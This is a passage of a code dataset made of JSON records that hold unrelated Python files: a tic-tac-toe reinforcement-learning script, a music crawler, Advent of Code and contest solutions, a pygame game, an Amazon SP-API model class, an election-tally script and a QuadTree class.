info = env.step(action)\n if show:\n env.show_turn(True, mark)\n env.render(mode='human')\n\n if done:\n if show:\n env.show_result(True, mark, reward)\n results.append(reward)\n break\n else:\n _, mark = state\n\n # rotation start\n start_mark = next_mark(start_mark)\n episode += 1\n\n o_win = results.count(1)\n x_win = results.count(-1)\n draw = len(results) - o_win - x_win\n mfile = model_file.replace(CWD + os.sep, '')\n minfo.update(dict(base_win=o_win, td_win=x_win, draw=draw,\n model_file=mfile))\n result = json.dumps(minfo)\n\n if show_result:\n print(result)\n return result\n\n\n@cli.command(help=\"Learn and play with human.\")\n@click.option('-p', '--episode', \"max_episode\", default=EPISODE_CNT,\n show_default=True, help=\"Episode count.\")\n@click.option('-e', '--epsilon', \"epsilon\", default=EPSILON,\n show_default=True, help=\"Exploring factor.\")\n@click.option('-a', '--alpha', \"alpha\", default=ALPHA,\n show_default=True, help=\"Step size.\")\n@click.option('-f', '--model-file', default=MODEL_FILE, show_default=True,\n help=\"Model file name.\")\n@click.option('-n', '--show-number', is_flag=True, default=False,\n show_default=True, help=\"Show location number when play.\")\ndef learnplay(max_episode, epsilon, alpha, model_file, show_number):\n _learn(max_episode, epsilon, alpha, model_file)\n _play(model_file, HumanAgent('O'), show_number)\n\n\n@cli.command(help=\"Grid search hyper-parameters.\")\n@click.option('-q', '--quality', type=click.Choice(['high', 'mid', 'low']),\n default='mid', show_default=True, help=\"Grid search\"\n \" quality.\")\n@click.option('-r', '--reproduce-test', \"rtest_cnt\", default=3,\n show_default=True, help=\"Reproducibility test count.\")\ndef gridsearch(quality, rtest_cnt):\n \"\"\"Find and output best hyper-parameters.\n\n Grid search consists of two phase:\n 1. Select best 10 candidates of parameter combination.\n 1. Carry out reproduce test and output top 5 parameters.\n\n Args:\n quality (str): Select preset of parameter combination. High quality\n means more granularity in parameter space.\n rtest_cnt (int): Reproduce test count\n \"\"\"\n st = time.time()\n _gridsearch_candidate(quality)\n _gridsearch_reproduce(rtest_cnt)\n print(\"Finished in {:0.2f} seconds\".format(time.time() - st))\n\n\ndef _gridsearch_reproduce(rtest_cnt):\n \"\"\"Refine parameter combination by reproduce test, and output best 5.\n\n Reproduce test is a learn & bench process from each parameter combination.\n\n 1. Select top 10 parameters from previous step.\n 2. Execute reproduce test.\n 3. Sort by lose rate.\n 4. Output best 5 parameters.\n\n Args:\n rtest_cnt (int): Reproduce test count\n\n Todo:\n Apply multiprocessor worker\n \"\"\"\n print(\"Reproducibility test.\")\n with open(os.path.join(CWD, 'gsmodels/result.json'), 'rt') as fr:\n df = pd.DataFrame([json.loads(line) for line in fr])\n top10_df = df.sort_values(['base_win', 'max_episode'])[:10]\n\n index = []\n vals = []\n # for each candidate\n pbar = _tqdm(total=len(top10_df) * rtest_cnt)\n for idx, row in top10_df.iterrows():\n index.append(idx)\n base_win_sum = 0\n total_play = 0\n # bench repeatedly\n for i in range(rtest_cnt):\n pbar.update()\n learn_episode = row.max_episode\n epsilon = row.epsilon\n alpha = row.alpha\n with NamedTemporaryFile() as tmp:\n res = _learnbench(learn_episode, BENCH_EPISODE_CNT, epsilon,\n alpha, tmp.name, False)\n res = json.loads(res)\n base_win_sum += res['base_win']\n total_play += BENCH_EPISODE_CNT\n lose_pct = float(base_win_sum) / rtest_cnt / total_play * 100\n vals.append(round(lose_pct, 2))\n\n top10_df['lose_pct'] = pd.Series(vals, index=index)\n\n df = top10_df.sort_values(['lose_pct', 'max_episode']).reset_index()[:5]\n print(df[['lose_pct', 'max_episode', 'alpha', 'epsilon', 'model_file']])\n\n\ndef _gridsearch_candidate(quality):\n \"\"\"Select best hyper-parameter candiadates by grid search.\n\n 1. Generate parameter combination by product each parameter space.\n 2. Spawn processors to learn & bench each combination.\n 3. Wait and write result to a file.\n\n Args:\n quality (str): Choice among 'high', 'mid', 'low'\n\n Todo:\n Progress bar estimation is not even.\n \"\"\"\n # disable sub-process's progressbar\n global tqdm\n tqdm = lambda x: x # NOQA\n\n if quality == 'high':\n # high\n epsilons = [e * 0.01 for e in range(8, 25, 2)]\n alphas = [a * 0.1 for a in range(2, 8)]\n episodes = [e for e in range(8000, 31000, 3000)]\n elif quality == 'mid':\n # mid\n epsilons = [e * 0.01 for e in range(10, 20, 5)]\n alphas = [a * 0.1 for a in range(3, 7)]\n episodes = [e for e in range(10000, 30000, 5000)]\n else:\n # low\n epsilons = [e * 0.01 for e in range(9, 13, 2)]\n alphas = [a * 0.1 for a in range(4, 6)]\n episodes = [e for e in range(10000, 25000, 10000)]\n\n alphas = [round(a, 2) for a in alphas]\n _args = list(product(episodes, epsilons, alphas))\n args = []\n for i, arg in enumerate(_args):\n arg = list(arg)\n arg.insert(1, BENCH_EPISODE_CNT) # bench episode count\n arg.append(os.path.join(CWD, 'gsmodels/model_{:03d}.dat'.format(i)))\n arg.append(False) # supress print\n args.append(arg) # model file name\n prev_left = total = len(args)\n\n print(\"Grid search for {} parameter combinations.\".format(total))\n pbar = _tqdm(total=total)\n pool = Pool()\n result = pool.starmap_async(_learnbench, args)\n while True:\n if result.ready():\n break\n if prev_left != result._number_left:\n ucnt = prev_left - result._number_left\n pbar.update(ucnt)\n prev_left = result._number_left\n time.sleep(1)\n\n ucnt = prev_left - result._number_left\n pbar.update(ucnt)\n pbar.close()\n\n with open(os.path.join(CWD, 'gsmodels/result.json'), 'wt') as f:\n for r in result.get():\n f.write('{}\\n'.format(r))\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"haje01/gym-tictactoe","sub_path":"examples/td_agent.py","file_name":"td_agent.py","file_ext":"py","file_size_in_byte":19004,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"21"} +{"seq_id":"42627332963","text":"from utils import get_top100_list\nfrom utils.melon_crawler import MelonCrawler\n\n\n\nif __name__ == '__main__':\n crawler = MelonCrawler()\n # q = input('검색할 곡 명을 입력해주세요: ')\n # search_song_list = crawler.search_song(q)\n\n\n\n################ top100 list ################\n\n # result = get_top100_list()\n # for i in result:\n # print(i)\n\n\n\n################ song 검색 ################\n\n # song_list = crawler.search_song('기대해')\n # song = song_list[0]\n\n # print(song)\n # print(song.title)\n # print(song.album)\n\n # print(song._lyrics, ': song._lyrics는 None' )\n # # print(song.lyrics)\n #\n # print(song._producers, ': song._producers는 None' )\n # print(song.producers)\n\n\n\n################ artist 검색 ################\n\n # 시도 1\n # # search_artist() # -> Artist를 호출하는 부분이 존재.\n # search_artist를 호출할 경우에 그 안에 다른 부분의 인스턴스를\n # 생성하는 부분 'artist = Artist(~)' 이 있을경우 Artist undefined 에러가 발생\n\n # 시도 2\n # Artist.get_detail() # 인자를 전달해 줘야하는데 방법이 없다.\n\n # 시도 3\n # artist_list = Artist('아이유') # Artist는 인자를 엄청많이 받음, '아이유'만 받는것 검색임.\n # Artist.get_detail(artist_list) # 그리고 이짓안하려고 위에서 Artist인자를 return하는 것\n\n # 시도 4 (성공)\n artist_list = crawler.search_artist('아이유')\n # artist_list = crawler.search_artist('아이유악대')\n # artist_list = crawler.search_artist('걸스데이')\n # artist_list = crawler.search_artist('레드벨벳')\n\n\n#### 1) 아티스트 검색 ####\n\n for i in artist_list:\n print(i)\n\n\n\n\n#### 2) 아티스트의 곡 ####\n\n # artist = artist_list[0]\n # result = artist.get_song()\n # for i in result:\n # print(i)\n\n\n\n#### 3) 아티스트 상세정보 ####\n\n # artist = artist_list[0]\n # artist.get_detail()\n\n\n\n\n\n#### 과제 가이드처럼 그냥 리스트목록을 받는 것으로 했다가\n#### 너무 귀찮아서 그냥 내 방식대로 함.\n#### 1) 아티스트 검색 ####\n# for i in artist_list:\n# print(i)\n# 딕셔너리 형태로 너무 보기 싫어서 아래로 바꿈\n\n# for i in artist_list:\n# for j in i.keys():\n# print(f'{j}: {i.get(j)}')\n# print('')\n","repo_name":"smallbee3/Crawler","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19648107322","text":"import re \nfrom functools import lru_cache\nfrom collections import deque \nclass Valve:\n def __init__(self, data):\n self.name = data[0]\n self.flow_rate = int(data[1])\n self.connected_valves = data[2:]\n self.is_open = False\n \n def __repr__(self) -> str:\n return f'Name: {self.name}, Flow: {self.flow_rate}, Open: {self.is_open}'\n \n def __str__(self) -> str:\n return self.__repr__()\n\n\nclass ValveGraph:\n #Do highest valves first\n\n def __init__(self, data):\n self.valve_connections: dict[Valve, list[Valve]] = dict()\n for datum in data:\n valve = Valve(datum)\n self.valve_connections[valve] = valve.connected_valves\n self.name_to_valve = { valve.name : valve for valve in self.valve_connections.keys()}\n self.valve_flow_rates = {v : v.flow_rate for v in self.valve_connections.keys()}\n\n @lru_cache(maxsize=None)\n def time_to_open_valve(self, v0, v1):\n #Perform breadth first search\n queue = deque([[v0]])\n visited = set()\n\n if v0 == v1:\n return 0\n\n while queue:\n path = queue.popleft()\n node = path[-1]\n\n if node not in visited:\n connected = node.connected_valves\n\n for conn_valve in connected:\n new_path = list(path)\n new_path.append(self.name_to_valve[conn_valve])\n queue.append(new_path)\n\n if(conn_valve == v1.name):\n return len(new_path) \n\n visited.add(node)\n return None\n\n def get_best_flow_rate(self, minutes: int):\n #get all paths and then join all disjoint sets\n paths = list()\n max_path = {}\n max_flow = 0\n current_valve = self.name_to_valve[\"AA\"]\n valves = [valve[0] for valve in self.valve_flow_rates.items() if valve[1] > 0]\n q = deque([([current_valve], minutes, {})])\n \n while q:\n path, time, valve_open_time = q.pop()\n if time <= 0 or len(path) == len(valves) + 1:\n paths.append([valve_open_time, sum(map(lambda x: x[0].flow_rate * max(x[1], 0), valve_open_time.items()))])\n else:\n for valve in valves:\n if valve not in valve_open_time.keys():\n time_left = time - self.time_to_open_valve(path[-1], valve) \n new_valve_open_time = dict(valve_open_time)\n new_valve_open_time[valve] = time_left\n q.append((path + [valve], time_left, new_valve_open_time))\n\n print(\"got all paths\")\n #sort by flow\n paths.sort(key=lambda p: p[1], reverse=True)\n for valve_path_one, flow_one in paths:\n if(flow_one + paths[0][1] < max_flow):\n return max_flow\n for valve_path_two, flow_two in paths:\n total_flow = flow_one + flow_two\n if(total_flow < max_flow):\n break\n if(valve_path_one.keys().isdisjoint(valve_path_two.keys()) and total_flow > max_flow):\n max_flow = total_flow\n \n def flow_per_minute(self, open_valves):\n flow_released = 0\n for valve in open_valves:\n flow_released += valve.flow_rate\n \n return flow_released\n \nwith open(\"Day16\\Data.txt\") as f:\n valves = [re.findall(r'[A-Z]{2}|[0-9]+', line) for line in f.read().splitlines()]\n\ngraph = ValveGraph(valves)\nmax_flow = graph.get_best_flow_rate(26)\nprint(f\"Answer to Q2: {max_flow}\")","repo_name":"Kodyena/advent-of-code-2022","sub_path":"Day16/Codeb.py","file_name":"Codeb.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8277359131","text":"position = 0\nskip_size = 0\n\nstring = range(0, 256)\nlengths = [14,58,0,116,179,16,1,104,2,254,167,86,255,55,122,244]\n#string = range(0, 5)\n#lengths = [3, 4, 1, 5]\n\nfor l in lengths:\n sublist = []\n starting_position = position\n for i in xrange(l):\n sublist.append(string[position])\n position = (position + 1) % len(string)\n\n sublist.reverse()\n\n position = starting_position\n for i in xrange(l):\n string[position] = sublist[i]\n position = (position + 1) % len(string)\n\n position = (position + skip_size) % len(string)\n skip_size += 1\n\nprint(\"Multiplying first two numbers, %d * %d = %d\" % (string[0], string[1], string[0] * string[1]))\n","repo_name":"mch/advent-of-code","sub_path":"day-10.py","file_name":"day-10.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34217704233","text":"import os\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nbr = '../results/WMT18_Results/'\nbdf = pd.read_csv(br + 'BLEU_scores.tsv', sep='\\t')\nedf = pd.read_csv(br + 'scores_almost.tsv', sep='\\t')\n\nbz = bdf.columns.to_list()\nez = edf.columns.to_list()\n\nassert bz[:3] == ez[:3], \"First 2 elements must be same in both lists\"\nassert bz[-1] == ez[-1], \"Last element must be same in both lists\"\n\nfin = bz[:2]\nfin += bz[2:-1]\nfin += ez[2:-1]\nfin += [bz[-1]]\n\nassert len(edf['SYSTEM']) == len(bdf['SYSTEM']), \"Both dfs have different number of systems\"\n\nout = []\nfor i in range(len(edf['SYSTEM'])):\n\tsubdf = bdf.loc[(bdf['LP'] == edf['LP'][i]) & (bdf['SYSTEM'] == edf['SYSTEM'][i])]\n\ttemp = subdf.values.tolist()[0][:-1] + edf.loc[i].to_list()[2:]\n\t# print(temp)\n\tout.append(temp)\n\nndf = pd.DataFrame(out, columns=fin)\nndf.to_csv(\"scores_all.tsv\", sep=\"\\t\", index=False, header=True)\n\n#####################################################################\n\nbdf = pd.read_csv(br + 'BLEU_corr.tsv', sep='\\t')\nedf = pd.read_csv(br + 'corr_almost.tsv', sep='\\t')\n\nfdf = pd.DataFrame(columns=edf.columns.to_list())\nfor col in edf.columns.to_list():\n\tfin = pd.concat([bdf[col], edf[col]])\n\tfdf[col] = fin\n\nfdf.reset_index(drop=True, inplace=True)\nfdf.to_csv(\"corr_all.tsv\", sep=\"\\t\", index=False, header=True)\n\n#####################################################################\n","repo_name":"EshwarSR/AutomaticEvaluationMetrics","sub_path":"postproc/result_merge.py","file_name":"result_merge.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38527111136","text":"# 1859_백만장자프로젝트_서울2반_이민웅\n\nT = int(input())\n\nfor tc in range(1, T+1):\n N = int(input())\n cost_li = list(map(int, input().split()))\n cost_li2 = list(map(int, input().split()))[::-1]\n stack = []\n # profit = 0\n # idx_b = N-1\n # max_value = 0\n #\n # while idx_b >= 0:\n # if not stack:\n # stack.append(cost_li[idx_b])\n # max_value = cost_li[idx_b]\n # else:\n # if cost_li[idx_b] > max_value and cost_li[idx_b] > stack[-1]:\n # while stack:\n # profit += (max_value - stack.pop())\n # max_value = cost_li[idx_b]\n # stack.append(cost_li[idx_b])\n # else:\n # stack.append(cost_li[idx_b])\n # idx_b -= 1\n #\n # while stack:\n # profit += (max_value - stack.pop())\n ''' 앞부터 뒤로\n i = ans = 0\n while i < N:\n i_mx = i\n for j in range(i+1, N):\n if cost_li[i_mx]<cost_li[j]:\n i_mx = j\n for j in range(i, i_mx):\n ans += cost_li[i_mx]-cost_li[j]\n\n i = i_mx + 1\n\n '''\n # 역으로 받아서 계산 뒤부터 앞으로 -> 시간차이 많이남\n ans = mx = 0\n for value in cost_li2:\n if mx > value:\n ans += mx-value\n else:\n mx = value\n\n print(f'#{tc} {ans}')\n","repo_name":"MinWoongL/Algorithm_Study","sub_path":"SWEA/Algorithm/230217/millionaire-project.py","file_name":"millionaire-project.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75038699253","text":"def solution(board, skill):\n answer = 0\n \n rows = len(board)\n cols = len(board[0])\n \n save = [[0] * (cols + 1) for _ in range(rows + 1)]\n \n for t, r1, c1, r2, c2, degree in skill:\n if t == 1: # down\n degree = -degree\n \n save[r1][c1] += degree\n save[r1][c2+1] += -degree\n save[r2+1][c1] += -degree\n save[r2+1][c2+1] += degree\n \n for row in range(rows):\n for col in range(1,cols):\n save[row][col] += save[row][col-1]\n \n for col in range(cols):\n for row in range(1,rows):\n save[row][col] += save[row-1][col]\n \n for row in range(rows):\n for col in range(cols):\n if board[row][col] + save[row][col] > 0:\n answer += 1\n \n return answer","repo_name":"Sh-IT0311/Coding-Test","sub_path":"programmers/level3/파괴되지 않은 건물.py","file_name":"파괴되지 않은 건물.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"45842111614","text":"import pygame\nimport spritesheet\nimport itertools\nfrom pygame.locals import (\n K_UP,\n K_DOWN,\n K_LEFT,\n K_RIGHT,\n K_ESCAPE,\n KEYDOWN,\n QUIT,\n)\n\n\nclass Game:\n def __init__(self) -> None:\n self.window_surface = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n pygame.display.set_caption(\"Snowly Roller\")\n self.x = 500.0\n self.y = 500.0\n self.fps = 60\n self.clock = pygame.time.Clock()\n self.init_time = pygame.time.get_ticks()\n self.player = spritesheet.Player()\n self.snowball = spritesheet.Snowball()\n self.terrain = spritesheet.Terrain()\n self.grass = pygame.image.load('images/Grass.png').convert_alpha()\n\n def setup_background(self): \n self.window_surface.blit(self.terrain.land_list[self.terrain.landframe], (162, 90)) \n brick_width, brick_height = self.terrain.land_list[self.terrain.landframe].get_width(), self.terrain.land_list[self.terrain.landframe].get_height()\n for self.x,self.y in itertools.product(range(0,1920+1,brick_width), range(0,1080+1,brick_height)):\n self.window_surface.blit(self.terrain.land_list[self.terrain.landframe], (self.x, self.y)) \n\n def run(self):\n running = True\n while running:\n # drawing stuff\n self.window_surface.blit(self.grass, (0, 0))\n self.setup_background()\n self.window_surface.blit(self.player.animation_list[self.player.action][self.player.frame], (self.x, y))\n self.window_surface.blit(self.snowball.snow_list[self.snowball.frame], (self.x + self.snowball.x, y + self.snowball.y))\n # handling events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n elif event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT or event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n self.player.is_moving = False\n self.player.frame = 0\n elif event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n running = False\n if event.key == K_UP:\n self.player.action = 1\n self.player.frame = 0\n self.snowball.x = 17\n self.snowball.y = -12\n if event.key == K_LEFT:\n self.player.action = 2\n self.player.frame = 0\n self.snowball.x = -22\n self.snowball.y = 23\n if event.key == K_DOWN:\n self.player.action = 3\n self.player.frame = 0\n self.snowball.x = 22\n self.snowball.y = 62\n if event.key == K_RIGHT:\n self.player.action = 0\n self.player.frame = 0\n self.snowball.x = 65\n self.snowball.y = 24 \n elif event.type == QUIT:\n running = False \n\n key_pressed_is = pygame.key.get_pressed() \n if key_pressed_is[K_LEFT] and self.x > 200:\n self.x -= 10\n self.player.is_moving = True\n if key_pressed_is[K_RIGHT] and self.x < 1640:\n self.x += 10\n self.player.is_moving = True\n if key_pressed_is[K_UP] and y > 100:\n self.y -= 10\n self.player.is_moving = True\n if key_pressed_is[K_DOWN] and y < 880:\n self.y += 10\n self.player.is_moving = True \n\n current_time = pygame.time.get_ticks()\n if current_time - self.init_time >= self.player.animation_cooldown:\n if self.player.is_moving:\n self.player.frame += 1\n self.snowball.frame += 1\n self.init_time = current_time\n if self.player.frame >= len(self.player.animation_list[self.player.action]):\n self.player.frame = 0\n if self.snowball.frame >= len(self.snowball.snow_list):\n self.snowball.frame = 0 \n\n self.clock.tick(self.fps)\n pygame.display.update() \n pygame.quit() \n\n\n def update(self):\n # This function should be called for every loop through the main game loop.\n # It should tell every object to update itself.\n # You may end up needing to pass variables to the objects for them to update properly. For instance, player inputs.\n pass\n\n def draw(self):\n # This function should be called every loop through the main game loop.\n # This should tell every object to draw itself.\n # You may have to pass the surface you want objects to draw themselves on to.\n pass\n\n\nif __name__ == \"__main__\":\n SCREEN_WIDTH, SCREEN_HEIGHT = 1920, 1080\n pygame.init()\n Game()","repo_name":"SnoozingPinata/reddit-help","sub_path":"thexerox123/SnowlyRoller.py","file_name":"SnowlyRoller.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33899130143","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n from ..models.fees_estimate import FeesEstimate\n from ..models.fees_estimate_error import FeesEstimateError\n from ..models.fees_estimate_identifier import FeesEstimateIdentifier\n\n\nT = TypeVar(\"T\", bound=\"FeesEstimateResult\")\n\n\n@attr.s(auto_attribs=True)\nclass FeesEstimateResult:\n r\"\"\"An item identifier and the estimated fees for the item.\n\n Attributes:\n status (Union[Unset, str]): The status of the fee request. Possible values: Success, ClientError, ServiceError.\n fees_estimate_identifier (Union[Unset, FeesEstimateIdentifier]): An item identifier, marketplace, time of\n request, and other details that identify an estimate.\n fees_estimate (Union[Unset, FeesEstimate]): The total estimated fees for an item and a list of details.\n error (Union[Unset, FeesEstimateError]): An unexpected error occurred during this operation.\n \"\"\"\n\n status: Union[Unset, str] = UNSET\n fees_estimate_identifier: Union[Unset, \"FeesEstimateIdentifier\"] = UNSET\n fees_estimate: Union[Unset, \"FeesEstimate\"] = UNSET\n error: Union[Unset, \"FeesEstimateError\"] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n status = self.status\n fees_estimate_identifier: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.fees_estimate_identifier, Unset):\n fees_estimate_identifier = self.fees_estimate_identifier.to_dict()\n\n fees_estimate: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.fees_estimate, Unset):\n fees_estimate = self.fees_estimate.to_dict()\n\n error: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.error, Unset):\n error = self.error.to_dict()\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update({})\n if status is not UNSET:\n field_dict[\"Status\"] = status\n if fees_estimate_identifier is not UNSET:\n field_dict[\"FeesEstimateIdentifier\"] = fees_estimate_identifier\n if fees_estimate is not UNSET:\n field_dict[\"FeesEstimate\"] = fees_estimate\n if error is not UNSET:\n field_dict[\"Error\"] = error\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.fees_estimate import FeesEstimate\n from ..models.fees_estimate_error import FeesEstimateError\n from ..models.fees_estimate_identifier import FeesEstimateIdentifier\n\n d = src_dict.copy()\n status = d.pop(\"Status\", UNSET)\n\n _fees_estimate_identifier = d.pop(\"FeesEstimateIdentifier\", UNSET)\n fees_estimate_identifier: Union[Unset, FeesEstimateIdentifier]\n if isinstance(_fees_estimate_identifier, Unset):\n fees_estimate_identifier = UNSET\n else:\n fees_estimate_identifier = FeesEstimateIdentifier.from_dict(_fees_estimate_identifier)\n\n _fees_estimate = d.pop(\"FeesEstimate\", UNSET)\n fees_estimate: Union[Unset, FeesEstimate]\n if isinstance(_fees_estimate, Unset):\n fees_estimate = UNSET\n else:\n fees_estimate = FeesEstimate.from_dict(_fees_estimate)\n\n _error = d.pop(\"Error\", UNSET)\n error: Union[Unset, FeesEstimateError]\n if isinstance(_error, Unset):\n error = UNSET\n else:\n error = FeesEstimateError.from_dict(_error)\n\n result = cls(\n status=status,\n fees_estimate_identifier=fees_estimate_identifier,\n fees_estimate=fees_estimate,\n error=error,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/product_fees_v0/models/fees_estimate_result.py","file_name":"fees_estimate_result.py","file_ext":"py","file_size_in_byte":4399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"2443628760","text":"import re\na = list(map(int, re.findall(r\"\\S+\", input())))\nb = list(map(int, re.findall(r\"\\S+\", input())))\nsumm=[0]*1\nsumm[0]=b[0]\nfor i in range(len(b)-1):\n summ.append(summ[i]+b[i+1])\nbruh=0\na0=0\na1=a[1]\nbz=summ[a[1]]\nif bz==a[2]:\n print(1)\nelse:\n for i in range(a[1]+1, len(summ)):\n if summ[i]- summ[i-a[1]-1]==a[2]:\n bz=i\n bruh=1\n break\n if bruh == 0:\n print(0)\n else:\n print(i-a[1]+1)\n\n","repo_name":"aminealist/Olympiad-programming","sub_path":"Informatics/1583.py","file_name":"1583.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13162111306","text":"# This is the solution to run for the PyPoll assignment\nimport os\nimport csv\nimport operator\n\n# Lists to store data\nvoters = []\ncounty = []\ncandidate = []\nkhan_vote_count = []\nli_vote_count = []\ncorrey_vote_count = []\notooley_vote_count = []\n\n# Set path for file\ncsv_poll_data = os.path.join(\"..\", \"Resources\", \"election_data.csv\")\n\n# Open the CSV\nwith open(csv_poll_data) as voting_data:\n csv_reader = csv.reader(voting_data, delimiter=\",\")\n\n # Reads & prints header row in CSV file\n csv_header = next(csv_reader)\n #print(f\"CSV Header: {csv_header}\")\n\n # Create lists for data in file\n for row in csv_reader:\n \n voters.append(row[0])\n\n county.append(row[1])\n\n candidate.append(row[2])\n\n# Find the total number of votes.\ntotal_votes = len(voters)\n\n\n# Create a list of unique counties.\ncounty_list = set(county)\n\n\n# Create a list of unique candidates.\ncandidate_list = set(candidate)\n\n\n# Create a dictionary for all lists\ncandidate_data = dict(zip(voters,candidate))\n\n\n# Count the total number of votes for each candidate\nfor x in candidate_data:\n if(candidate_data[x] == \"Khan\"):\n khan_vote_count.append(candidate_data[x])\n elif(candidate_data[x] == \"Correy\"):\n correy_vote_count.append(candidate_data[x])\n elif(candidate_data[x] == \"Li\"):\n li_vote_count.append(candidate_data[x])\n else:\n otooley_vote_count.append(candidate_data[x])\n \n\n# Determines the percentage of the total vote each candidate received.\nvotes_for_khan = len(khan_vote_count)\nvotes_for_correy = len(correy_vote_count)\nvotes_for_li = len(li_vote_count)\nvotes_for_otooley = len(otooley_vote_count)\n\nkhan_vote_pct = \"{:.3%}\".format(votes_for_khan / total_votes)\ncorrey_vote_pct = \"{:.3%}\".format(votes_for_correy / total_votes)\nli_vote_pct = \"{:.3%}\".format(votes_for_li / total_votes)\notooley_vote_pct = \"{:.3%}\".format(votes_for_otooley / total_votes)\n\n\n# Create a dictionary that lists the candidate and their total vote counts.\nvote_summary = {\"Khan\": [votes_for_khan], \"Correy\": [votes_for_correy], \"Li\": [votes_for_li], \"O'Tooley\": [votes_for_otooley]}\n\n# Determines the winner of the election by finding the candidate with the greatest number of votes.\nwinner = max(vote_summary,key = vote_summary.get)\n\n\n# Prints the output in the terminal\nprint(\"\")\nprint(\"Election Results\")\nprint(\"----------------------------\")\nprint(f\"Total Votes: {total_votes}\")\nprint(\"----------------------------\")\nprint(f\"Khan: {khan_vote_pct}: ({votes_for_khan})\")\nprint(f\"Correy: {correy_vote_pct}: ({votes_for_correy})\")\nprint(f\"Li: {li_vote_pct}: ({votes_for_li})\")\nprint(f\"O'Tooley: {otooley_vote_pct}: ({votes_for_otooley})\")\nprint(\"----------------------------\")\nprint(f\"Winner: {winner}\")\nprint(\"----------------------------\")\n\n\n# File path to write to\noutput_path = os.path.join(\"..\", \"Analysis\", \"pypoll_results.csv\")\n\n# Open the file using \"write\" mode. Specify the variable to hold the contents\nwith open(output_path, \"w\") as csvfile:\n\n csvwriter = csv.writer(csvfile, delimiter=',')\n\n csvwriter.writerow([\"Election Results\"])\n csvwriter.writerow([\"Total Votes\", \"Votes For Khan\", \"Khan Vote Pct\", \"Votes For Correy\", \"Correy Vote Pct\", \"Votes For Li\", \"Li Vote Pct\", \"Votes For O'Tooley\", \"O'Tooley Vote Pct\", \"Winner\"])\n csvwriter.writerow([total_votes, votes_for_khan, khan_vote_pct, votes_for_correy, correy_vote_pct, votes_for_li, li_vote_pct, votes_for_otooley, otooley_vote_pct, winner])\n","repo_name":"Efritch/python-challenge","sub_path":"PyPoll/pypoll_main.py","file_name":"pypoll_main.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16108546315","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nEach cut element is an instance of the class QuadTree\n\"\"\"\n#%%\n\nfrom shapely.geometry import box\nfrom matplotlib import pyplot as plt\n\n#%%\n\nLeaves=[]\ntemp=[]\nLabel = []\n\nclass QuadTree():\n \n \"\"\"\n Convention is:\n myChildren[0] = SW myChildren[1] = SE\n myChildren[2] = NE myChildren[3] = NW\n \n \"\"\"\n #Nodes and Leaves Counter\n myNoOfNodes = 0\n myNoOfLeaves = 0\n Integ_Input= []\n \n \n def __init__(self,CutCellNum,Phy_domain, xmin, ymin, xmax, ymax, father, level, stringCode,ID):\n self.ElementNum=CutCellNum\n self.Domain=Phy_domain\n self.myXmin = xmin\n self.myYmin = ymin\n self.myXmax = xmax\n self.myYmax = ymax\n self.myfather = father\n self.myLevel = level\n self.myStringCode = stringCode\n self.myChildren = None\n self.myCell = box(xmin, ymin, xmax, ymax)\n self.ID = ID\n self.label = []\n QuadTree.myNoOfNodes+=1\n \t \n \n def divideMe(self):\n \"\"\"\n This function creates 4 new objects of type Quadtree\n \n Input : The current object\n Output : None\n \n \"\"\" \n self.middleX = 0.5 * (self.myXmax + self.myXmin)\n self.middleY = 0.5 * (self.myYmax + self.myYmin)\n self.myChildren = [QuadTree(self.ElementNum, self.Domain,self.myXmin, self.myYmin, self.middleX, self.middleY, self, self.myLevel + 1, \"0\",1),\n QuadTree(self.ElementNum, self.Domain,self.middleX, self.myYmin, 